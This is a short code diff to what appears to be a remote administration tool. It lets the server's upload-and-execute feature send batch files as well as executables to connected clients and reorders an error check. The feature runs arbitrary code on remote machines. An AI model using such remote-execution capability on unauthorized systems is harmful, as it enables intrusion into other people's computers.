diff --git a/Client/Core/Commands/MiscHandler.cs b/Client/Core/Commands/MiscHandler.cs index 1f6a0a11..5dbdb3a5 100644 --- a/Client/Core/Commands/MiscHandler.cs +++ b/Client/Core/Commands/MiscHandler.cs @@ -75,7 +75,7 @@ public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExe try { - if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z') + if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z') //TODO check for a batch file. throw new Exception("No executable file"); FileSplit destFile = new FileSplit(filePath); diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 59eb4cd9..3191a740 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -647,7 +647,6 @@ private void ctxtLocalFile_Click(object sender, EventArgs e) foreach (Client c in GetSelectedClients()) { if (c == null) continue; - if (error) continue; FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath); if (srcFile.MaxBlocks < 0) @@ -658,6 +657,8 @@ private void ctxtLocalFile_Click(object sender, EventArgs e) break; } + if(error) continue; + int id = FileHelper.GetNewTransferId(); CommandHandler.HandleSetStatus(c, diff --git a/Server/Forms/FrmUploadAndExecute.cs b/Server/Forms/FrmUploadAndExecute.cs index 9d60dda1..48921122 100644 --- a/Server/Forms/FrmUploadAndExecute.cs +++ b/Server/Forms/FrmUploadAndExecute.cs @@ -27,7 +27,7 @@ private void btnBrowse_Click(object sender, EventArgs e) using (OpenFileDialog ofd = new OpenFileDialog()) { ofd.Multiselect = false; - ofd.Filter = "Executable (*.exe)|*.exe"; + ofd.Filter = "Executable (*.exe)|*.exe|Batch (*.bat)|*.bat"; if (ofd.ShowDialog() == DialogResult.OK) { txtPath.Text = ofd.FileName;